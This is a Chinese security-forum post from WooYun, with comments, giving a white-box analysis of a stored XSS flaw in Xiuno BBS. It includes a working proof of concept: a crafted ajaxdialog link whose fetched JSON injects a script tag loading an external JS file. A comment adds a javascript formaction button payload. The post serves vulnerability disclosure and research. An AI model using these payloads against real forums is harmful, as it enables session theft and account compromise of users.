当前位置:WooYun(白帽子技术社区) >> 代码审计 >> [简单的xss白盒分析] Xiuno BBS XSS Vulnerability

[简单的xss白盒分析] Xiuno BBS XSS Vulnerability

Yaseng (看黄片 到 www.yaseng.org) | 2013-04-24 15:07

前言
    刷微博的时候看到到seay发个了霸气外泄的cms: http://www.cnseay.com/2660/ ,官方介绍
    Xiuno 这个名字来源于圣斗士星矢白羊座的黄金圣斗士修罗,他的攻击速度和战斗力是十二宫最强的,他是速度和力量的化身;在佛教里面,修罗为六道之一,处于人道和天道之间的一道,半人半神,性情刚烈,好战斗。我们取其寓意,希望XIUNO变得越来越强,越来越快。在 Xiuno BBS 的第一行代码开始(一共大约有4W多行代码,历时多年积累)对性能的追求就到了苛刻,完美,歇斯底里,神经质,作者本人经常因为权衡一个方案而陷入冥想状态,在千万级数据下,最终的程序执行速度基本控制在0.00x秒,是作者本人比较满意的。
架构分析
├─admin                //后台目录
│  ├─conf
│  ├─control            //后台action 文件  
│  └─view      
├─conf                   //配置
├─control                  //前台action  
├─model                   //系统 model
.......                        //前台模板
├─view            
│  ├─image
│  │  └─filetype
│  └─js
│      ├─clipimg
│      └─editor
└─xiunophp               // 核心框架

Xxoo一番之后未果,木有什么发现,发个帖子,富文本编辑器,上传个附件,其验证文件  model/attach.class.php,会重命名文件名白名单验证机制,不过html txt 可以上传........
继续来看富文本编辑器的过滤  
一路追踪到 xiunophp\lib\xn_html_safe.class.php  
这种过滤基本上很安全了 过滤了各种标签事件,JavaScript 标签.
Xss 白盒分析
    既然不是 ubb论坛标签,咱们就可以利用各种猥琐的html标签,对于这种基于jquery的前端来说 ,各种ajax 等事件函数是大大的有.(分析需要一定的javascript 和 jquery 基础)
例如:我们来看一段帖子附件的代码
<a rel="nofollow" target="_blank" onclick="return false;" ajaxdialog="{showtitle: false, cache: true, position: 6, modal: false}" class="ajaxdialog" href="http://w/coder/xiuno/?attach-dialog-fid-1-aid-8-ajax-1.htm"><img width="16" height="16" src="http://w/coder/xiuno/view/image/filetype/html.gif">1.html</a>
作用就是点击弹出一个下载对话框,对话框里面的内容从远程ajax获取内容,先去javascript文件中找,这个超级链接的点击事件,位于模板文件  view/footer.html
$('a.ajaxdialog, input.ajaxdialog').die('click').live('click', ajaxdialog_click);
给每个class=”ajaxdialog”  a 标记绑定点击事件,在common.js 找到ajaxdialog_click 函数
代码片段
function ajaxdialog_click(e) {
  var e = e ? e : window.event;// 兼容 event
  var url = $(this).attr('href');   //读取到 a标记的  herf 属性  
    ............  
  var recall = this.recall ? this.recall : null;
  ajaxdialog_request(url, recall, options);   //远程获取内容
  return false;
}

继续跟进 ajaxdialog_request
function ajaxdialog_request(url, recall, options) {
  .......
  $.get(url, {ajax: 1}, function(s) {  // jquery  ajax    get
   var json = json_decode(s);  
  ..........

     jdialog.dialog(options);  //调用 jquery 对话框插件,传入各种属性
}

   json_decode函数用来解析json的数据,相当于eval,即会执行ajax超级链接的 herf标签 的值,如果 herf的值可控,就可以执行任意html代码
Ok 在富文本编辑器源码模式可以构造个超链接出来
<a href="http://w/1.html" class="ajaxdialog" ajaxdialog="{showtitle: false, cache: true, position: 6, modal: false}" target="_blank" rel="nofollow"><img src="http://w/1.jpg" height="16" width="16">毛片.rmvb</a>
1.html 放入json编码的数据,并插入script 标签 ,数据:
{"servererror":"","status":1,"message":{"width":"400","height":300,"pos":"center","title":"\u9644\u4..............\n\n<script type=\"text\/javascript\" src=\"http:\/\/w/1.js\"><\/script>\n"}}

,点击附件下载的效果,成功触发xss
3.png

附件下载
http://pan.baidu.com/share/link?shareid=416830&uk=587894688

分享到:
  1. 1#
    回复此人 感谢
    猫大叔 | 2013-04-24 15:35

    嗯.某个红蓝相交的东西 亮了

  2. 2#
    回复此人 感谢
    z7y (小胖子首席鉴黄师) | 2013-04-24 17:53

    毛片.rmvb 亮了 !嗯

  3. 3#
    回复此人 感谢
    0x0F (..........................................................................................................................................................................................................................................................) | 2013-04-24 17:59

    目测Xss略多。

  4. 4#
    回复此人 感谢
    wefgod (求大牛指点) | 2013-04-24 18:25

    嘿嘿,给力哦。毛片不错!

  5. 5#
    回复此人 感谢
    wefgod (求大牛指点) | 2013-04-24 18:27

    点了一下感谢作者。好像已经加精华咯

  6. 6#
    回复此人 感谢
    疯子 (世人笑我太疯癫,我笑世人看不穿。) | 2013-04-24 21:33

    给力  支持基友!

  7. 7#
    回复此人 感谢
    y35u (新手上路) | 2013-04-24 21:45

    这么麻烦啊

    swf插入不就行了

  8. 8#
    回复此人 感谢
    wefgod (求大牛指点) | 2013-04-24 21:59

    @y35u 各种方法都尝试哦

  9. 9#
    回复此人 感谢
    Yaseng (看黄片 到 www.yaseng.org) | 2013-04-24 22:07

    @wefgod <button formaction="javascript:alert(1)">点我</button>

  10. 10#
    回复此人 感谢
    wefgod (求大牛指点) | 2013-04-24 22:52

    @Yaseng 啥情况啊版主

  11. 11#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2013-04-25 09:19

    @Yaseng 哥 JQuery研究得不错嘛

  12. 12#
    回复此人 感谢
    0x0F (..........................................................................................................................................................................................................................................................) | 2013-04-25 10:25

    @Yaseng 没一个formid是不行的。

  13. 13#
    回复此人 感谢
    clzzy (南无阿弥陀佛) | 2013-05-23 15:02

    这个程序我去年11月份发现过一个xss:
    http://www.justgan.com/html/y2012/911_%E5%8E%9F%E5%88%9Bxiuno-bbs-2-0-0-rc2-0day.html

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录